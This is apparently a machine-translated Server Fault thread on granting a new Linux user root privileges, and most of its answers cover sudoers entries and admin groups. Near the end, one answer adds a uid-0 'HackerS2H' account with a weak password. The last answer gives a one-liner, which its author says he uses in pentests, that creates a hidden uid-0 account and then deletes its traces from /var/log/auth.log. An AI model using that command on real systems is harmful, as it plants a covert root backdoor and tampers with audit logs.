додати нового користувача з кореневим доступом в Linux


31

Я хочу додати нового користувача та дозволити цьому новому користувачеві мати повний доступ до кореня, як це зробити?

Я це зробив, sudo adduser --system testuserале це не працює, як я очікував.

Дякуємо за допомогу.

Відповіді:


62

Насправді є три способи зробити це: правильний шлях, неправильний шлях та потворний шлях.

Спочатку створіть звичайний обліковий запис користувача.

adduser username

Потім виберіть одне з наступних:


Правильний шлях

Створіть sudoзапис для wheelгрупи /etc/sudoersтаким чином:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Або для "сучасних" версій:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Потім додайте користувача до wheelгрупи. Додавання та видалення користувачів з адміністративними правами тепер стає функцією запам'ятовування, щоб додати їх до колеса, а не створювати записи в sudo. Чудова річ у використанні колеса полягає в тому, що ви можете поширити цей механізм на інші схеми аутентифікації, які підтримують групи, тобто winbind / Active Directory, і отримати переваги в цьому процесі. Ви можете досягти цього, зіставивши колесо в групу в схемі аутентифікації, яка має права адміністратора.

Зауважте, що деякі дистрибутиви використовують різні адміністративні акаунти. Колесо є «традиційним» підхід до цього, але ви можете зіткнутися admin, admі інші облікові записи груп , які служать тієї ж мети.

Подальше редагування:

Я повинен дати крапку Барту Сільверстріму за те, що він зазначив, що Ubuntu використовує adminяк групу для цієї мети. Він дійшов до цього першим, хоча я на той момент не помітив тег Ubuntu. Знову ж таки, все залежить від того, який дистрибутив ви використовуєте.


Потворний шлях

Створіть запис sudo для відповідного облікового запису користувача та надайте повний доступ. Знову ви створюєте запис /etc/sudoersтаким чином:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

ДОБАВЕНО: ## Для версії Ubuntu: ім'я ALL = (ALL: ALL)

Це чудово, якщо у вас є лише один (або два) звичайних акаунта. Це некрасиво, коли ти маєш сотню облікових записів на кількох (геофізичних) сайтах і постійно маєш підтримувати файл sudo.


Неправильний шлях

Ви можете відредагувати /etc/passwdфайл та змінити ідентифікатор облікового запису користувача на будь-який номер, на який 0. Правильно, нуль .

username:x:0:502::/home/username:/bin/bash

Бачите цей третій запис як нуль? Коли ви входите в цей обліковий запис, ви для всіх ефективних цілей є root. Я цього не рекомендую. Якщо ви не пам'ятаєте "хто" ви, ви можете створювати всі види хаосу, коли ви починаєте створювати та торкатися файлів як root. Ви також можете додати своє ім’я користувача до rootгрупи. Це має той же ефект для доступу до файлів, але це створює інші проблеми; програми помітять, що ви не користувач, root і відмовитеся запускати, але ви отримаєте доступ до файлів, що належать до групи root .

Якщо ви це зробили, ви використовували vipwзамість того, щоб просто редагувати vi, чи не так? (або будь-який ваш улюблений текстовий редактор) Зрештою, один друкарський помилок у цьому файлі може заблокувати вас із вашої системи - а це означає фізичне відвідування комп’ютера, про який йде мова, з ремонтом диска ...


2
Я навіть не документував би неправильний шлях. Занадто табу.
elcuco

15
Я не погоджуюсь. Якщо ви приховуєте неправильне, воно не проходить, воно просто гніється - а іноді знання про те, що щось заборонено привертає більше уваги, ніж слід. Краще зрозуміти, чому це табу. Особливо, коли є (правда, рідкісні) обставини, коли вам можуть знадобитися ці знання. І все-таки я дам вам точку, щоб вказати, наскільки насправді можуть бути погані речі. :)
Avery Payne

1
"Зрештою, один друкарський помилок у цьому файлі може заблокувати вас із вашої системи" - ні, це не може, він може заблокувати вас після відключення всіх сесій Putty (якщо припустимо, що ви використовуєте Putty). Поки ви не відключаєтесь, а просто відкриваєте ще один сеанс, щоб перевірити свої налаштування, ви з цим у порядку.
quamis

1
@quamis - правда. Хоча я намагався вказати на небезпеку, припускаючи, що безпечно "стріляти і забути". :) Точка і для вас, щоб вказати на хорошу практику - завжди перевіряйте налаштування після цього .
Avery Payne

1
Я просто хотів би зазначити, що те, що традиційно було «колесою» групи (з двійковим підняттям на рівні прапора) в Unix, вже не є загальним терміном для групи користувачів, які можуть підняти судо. З мого досвіду, найпоширеніша назва групи людей, які можуть набувати судо, сьогодні є типовими «судорами» і вже налаштована на більшість систем.
Боян Маркович

3

Я використовую це протягом багатьох років, і це №1 рекомендований спосіб додати судоер на AskUbuntu :

adduser existinguser sudo

Набагато простіше, ніж редагування файлів, і легко кинути в скрипт оболонки для автоматичної установки.

Якщо ви хочете створити користувача та надати привілеї sudo, ви можете зробити це в одному рядку, як це:

useradd newuser -m -G sudo
passwd newuser

-mстворили домашній каталог та -Gвказують додаткову групу.


2

і при цьому 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

і підключитись до сервера putty та ip


1

Добре, ви можете створити користувача за допомогою adduser, дивіться man adduser.
Після цього ви можете додати його до привілейованої групи, наприклад, root або колесо. Але я думаю, що найбільш рекомендованим способом отримати якийсь дозвіл є використання судо.


1

Ви можете виконати:

#useradd -m -g root alex

він створює користувача Alex з домашнім каталогом, який належить до кореневої групи


1

Доповнення до відповіді Avery Payne: в Ubuntu ви можете хотіти так:

%sudo   ALL=(ALL:ALL) ALL

І не так:

%sudo    ALL=(ALL) ALL

0

"Некрасивий і брудний" спосіб - це редагувати / etc / passwd, щоб мати новий UID = 0 AND GID = 0 для нового користувача. Але це створює багато ризиків для безпеки . Ви знаєте, що якщо він також root, він може відключити ваш доступ, змінити ваш пароль, зробити вас "стандартним користувачем" ... правда? то чому б просто не дати йому свій рахунок?

Ви можете вивчити спосіб роботи suid ( http://en.wikipedia.org/wiki/Setuid ), якщо ви хочете надати йому root-доступ лише для декількох команд.


-1

Ось один вкладиш:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Найкраще,


1
Додавання додаткових користувачів за допомогою uid 0 - це не дуже гарна ідея ... детальну інформацію див. У відповіді.
Джеральд Шнайдер

@GeraldSchneider Я ніколи не говорив, що це була гарна ідея ... Я добре знаю ... і, чесно кажучи, це не стосується нашої турботи. Це єдиний лайнер, весь час використовуйте його в петестах. З повагою
Бошко
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.